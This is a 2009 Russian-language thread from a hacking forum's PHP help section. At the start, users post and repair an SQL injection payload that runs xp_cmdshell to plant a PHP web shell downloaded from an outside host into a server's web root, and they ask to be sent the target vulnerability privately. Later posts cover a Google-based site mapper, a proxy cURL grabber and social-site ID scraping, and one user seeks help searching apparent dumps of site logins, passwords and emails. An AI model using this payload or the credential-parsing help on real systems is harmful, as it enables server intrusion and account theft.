Где оно замечает ковычки?
mailbrush
13.06.2009, 00:33
diznt, а можно поконкретнее? Ты юзаешь багу? Если да, то там, скорее всего, стоят мэджики, которые ты никак не обойдешь.
Кто поможет дописать парсер\граббер ? почти всё написано ... точнее код был , но сейчас с донором что то не в порядке
контакты в пм или пишите в icq 45девять\девять3333 , +5 дам (:
Где оно замечает ковычки?
'; USE Master exec xp_cmdshell 'echo "<?php copy('http://bugaga.zapto.org/shell.txt','shell.php') ?>" > C:\AppServ\www\shell1.php';--
Вроде через бд все это делаеться (дело все не в этом через что делаеться)
дело в том что команда сама не может выполниться так как ковычки присуствуют и они закрывают консольную команду
mailbrush
13.06.2009, 00:40
diznt, а что тебе мешает просто вместо одинарных двойные поставить и код изменить? Кста, это вообще хз что, а не код echo "<?php copy('http://bugaga.zapto.org/shell.txt','shell.php') ?>
'; USE Master exec xp_cmdshell '<? file_put_contents("shell.php",file_get_contents("http://bugaga.zapto.org/shell.txt")); ?>' > C:\AppServ\www\shell1.php';--
Кста, скинь свою аську и уязвимость в пм, плз:)
http://forum.antichat.ru/private.php?do=newpm&userid=59362
diznt, а что тебе мешает просто вместо одинарных двойные поставить и код изменить? Кста, это вообще хз что, а не код echo "<?php copy('http://bugaga.zapto.org/shell.txt','shell.php') ?>
'; USE Master exec xp_cmdshell '<? file_put_contents("shell.php",file_get_contents("http://bugaga.zapto.org/shell.txt")); ?>' > C:\AppServ\www\shell1.php';--
Кста, скинь свою аську и уязвимость в пм, плз:)
http://forum.antichat.ru/private.php?do=newpm&userid=59362
Спасибо попробую... А то я совсем забыл cmd команды :D
На сайте madnet.name/tools/madss/
есть такая штука что забиваешь туда сайт а он тебе высвечивает нектрые файлы которые доступны для просмотра (думаю поняли мою мысль)
Так вот как интересует откуда он это берет? (точнее откуда грабит)
Подробнее
гугл , использует разные тэги , к примеру site:domain.zone
inurl, итд и тп :)
гугл , использует разные тэги , к примеру site:domain.zone
inurl, итд и тп :)
Вы нормально объяснять можите? Вы понимаете что хотя бы говорите?
Я сомневаюсь что madnet берет по результу inurl: или site:
Прошу ответить специалистов а не всяких новичков
Chrek625
13.06.2009, 05:25
Доброго всем времени суток. Я только учу пхп и мне нужно реализовать вот что:
нужно обработать строку с ным количество символов так чтобы после каждого 6 символа вставлялся пробел.
Но у меня даже ни как не получается разбить строку на 6 символов((
Подскажите как это реализовать или хотябы какую функцию использовать
Joker-jar
13.06.2009, 06:58
$str = "123456789123456789123456789123456789";
echo preg_replace('/(\S{6})/', "\\1 ", $str);
mailbrush
13.06.2009, 13:39
На сайте madnet.name/tools/madss/
есть такая штука что забиваешь туда сайт а он тебе высвечивает нектрые файлы которые доступны для просмотра (думаю поняли мою мысль)
Так вот как интересует откуда он это берет? (точнее откуда грабит)
Данный сервис предназначен для определения структуры сайта. Часто приходится пользоватся различными сканнерами для определения структуры сайта, но мы забываем, что в 99% случаев до нас это сделал лучший сервис сети, великий и могучий GOOGLE, причем частенько он запоминает то, до чего смертному просто так не добраться. Моя система пытаетсы вытянуть максимум информации о сайте из гугла и построить на ее основе дерево сайта, утилита так же будет полезна web программистам для анализа индексации сайта гуглом.
Через гугл, но каким образом - это надо спросить у автора.
там юзается гугл - site:
и читается robots.txt, все )
Через гугл, но каким образом - это надо спросить у автора.
+цитата LEE_ROY
Как это?!
К примеру в гугле site:webxakep.net
И там будет выводиться странички форума и еще всякая фигня (webxakep.net/news/news-virus/print:page,1,891-dos.linux.-iisuxor.html,webxakep.net:8080/engine/editor/scripts/form_file.htm)
Хм... Ладно хорошо к примеру там он определяет что это страничка форума и не выводит но все равно там много линков которые он не высветил
+цитата LEE_ROY
Как это?!
К примеру в гугле site:webxakep.net
И там будет выводиться странички форума и еще всякая фигня (webxakep.net/news/news-virus/print:page,1,891-dos.linux.-iisuxor.html,webxakep.net:8080/engine/editor/scripts/form_file.htm)
Хм... Ладно хорошо к примеру там он определяет что это страничка форума и не выводит но все равно там много линков которые он не высветил
парсится первых к примеру 3 страницы, фильтруются на уники папки и файлы, после к запросу site:xakep.ru добавляется имя найденной папки - site:xakep.ru/user и тоже парсится 3 страницы. епты это же все можно понять просканив пару сайтов. :)
ребятки, подскажите как сделать следующую вещъ
есть ссылка с параметрами, типа: $url = "&site=site.ru&ref=site2.ru";
кодируем ее: $dec=base64_encode($url);
и гетом передает кракозябли другому скрипту, в котором:
$url = $_GET['krakozyabli'];
$link=base64_decode($url);
как дальше разобрать строку на переменные site и ref с параметрами из указанной строки $url ?
<?php
$url = '&site=site.ru&ref=site2.ru';
parse_str ($url);
echo $site, ' ', $ref, "\n";
?>
Vlad&slav
14.06.2009, 11:52
как сделать чтоб работало? я пока чайник)
<?
echo "<html>
<BODY leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0 text=#99ff33 bgcolor=#000000 link=#green alink=#green><center><table>
<p> </p>
<p> </p>
<form method="POST"><table width=60% border=1 align=center>
<tr>
<th scope="col"><p>
Сайт :
<input type="text" name="url">
<input type="submit" name="ok" value="Подтвердить">
</p>
<p>Прокси:
<input type="text" name="proxy">
<input type="checkbox" name="usproxy" value="Использовать прокси?">
Использовать прокси? </p></th>
</tr>
</table></form>
<p> </p>
</html>";
if (isset($_POST['ok'])) {
if (empty($usproxy)) {
function get($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208');
$ss=curl_exec($ch);
curl_close($ch);
return $ss;
}
$a=get($url);
echo $a;
}else {
function get($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208');
curl_setopt($ch, CURLOPT_PROXY, "$proxy");
$ss=curl_exec($ch);
curl_close($ch);
return $ss;
}
$content=get($url,$prox);
echo $content ;
}else {
// просто выводим форму
}
?>
mailbrush
14.06.2009, 12:05
<?
echo '<html>
<BODY leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0 text=#99ff33 bgcolor=#000000 link=#green alink=#green><center><table>
<p> </p>
<p> </p>
<form method="POST"><table width=60% border=1 align=center>
<tr>
<th scope="col"><p>
Сайт :
<input type="text" name="url">
<input type="submit" name="ok" value="Подтвердить">
</p>
<p>Прокси:
<input type="text" name="proxy">
<input type="checkbox" name="usproxy" value="Использовать прокси?">
Использовать прокси? </p></th>
</tr>
</table></form>
<p> </p>
</html>';
if (isset($_POST['ok'])) {
if (empty($usproxy)) {
function get($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208');
$ss=curl_exec($ch);
curl_close($ch);
return $ss;
}
$a=get($url);
echo $a;
}else {
function get($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208');
curl_setopt($ch, CURLOPT_PROXY, "$proxy");
$ss=curl_exec($ch);
curl_close($ch);
return $ss;
}
$content=get($url,$prox);
echo $content ;
}
}
?>
Есть такая проблема. Нужно собрать ID С сайта.. ID вроде собирает но только с одной страници.. А нужно с многих.
Вот код :
$q->Get('http://one.lv/navigate.do?tkn=6242&st.view=2&st.id=community.indirectfriends.list&st.friends.page=2');
file_put_contents($inc_dir.'/debug_friends.html', $q->Result);
$content = file_get_contents('C:\xampp\htdocs\inc\debug_frien ds.html');
$regexp = '/(\d+)<span class="tableNavigationEnabled">/s';
preg_match($regexp, $content, $page);
$friends_pages = $page[1];
print "Pages with friends : $friends_pages\n";
for ($f = 1; $f <= $friends_pages; $f++) {
$q->Get("http://one.lv/navigate.do?tkn=tkn()&st.view=2&st.id=community.indirectfriends.list&st.friends.page=$f");
$content2 = file_put_contents($inc_dir.'/friends.html', $q->Result);
$regexp2 = '/uid="([0-9]+)"/ism';
preg_match_all($regexp2, $content2, $uid);
file_put_contents('C:\uid.txt', implode("\r\n", $uid[1]));
}
в чём ошыбка?
Chrek625
14.06.2009, 17:50
ДОброго времени суток.
Работу с файлами пока не освоил по этому прошу совета...
У меня есть масив с большим количеством файлов txt в которых хранится инвофрмвция о сайте а также с логином паролем и ящиком но они находяться в столбик тоесть вначале адрес а потом вся инфа отдельно в каждой строчке в низ. мне нужно написать код который будет перебирать эти файлы в масиве и искать в них определённый сайт в этих текстовых файлах и другу связанную с ним информацию тоесть логин пароль и ящик и записывало в отдельный файл или хотыбф выводило на экран.
Подскажите как это сделать. вернее с помощью какой функции производиться поиск и считывание информации из файла. Тоесть находит адрес сайта копирует его и несколько строчек которые находятся ниже.
сдесь помогают с кодом, с твоими тоесть наработками, помогают начинающим программерам. а пишут по ТЗ в другом разделе, за деньги.
Chrek625
14.06.2009, 18:24
я прошу хотябы подсказать какую функцию использовать для поиска в файле.
substr,strpos и тд... читай мануал по пхп. работа с файлами, строками, массивами описывается во всех книгах по пхп, это основы... какой помощи ты хочеш ? читай мануал, пиши код, если будут какие ошибки, будем конплеировать в месте .
Pashkela
14.06.2009, 19:21
ДОброго времени суток.
Работу с файлами пока не освоил по этому прошу совета...
У меня есть масив с большим количеством файлов txt в которых хранится инвофрмвция о сайте а также с логином паролем и ящиком но они находяться в столбик тоесть вначале адрес а потом вся инфа отдельно в каждой строчке в низ. мне нужно написать код который будет перебирать эти файлы в масиве и искать в них определённый сайт в этих текстовых файлах и другу связанную с ним информацию тоесть логин пароль и ящик и записывало в отдельный файл или хотыбф выводило на экран.
Подскажите как это сделать. вернее с помощью какой функции производиться поиск и считывание информации из файла. Тоесть находит адрес сайта копирует его и несколько строчек которые находятся ниже.
Небольшой совет - учись ПРАВИЛЬНО задавать вопросы. Например, приведи пример такого файла (хоть одного, из массива) - имеет значение всё, и порядок расположения инфо (если без разделителей - включая пустые строки), или если есть специальные разделители блоков информации - и ВОТ ТОГДА будет тебе счастье, потому что тут античат, и тут помогут
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot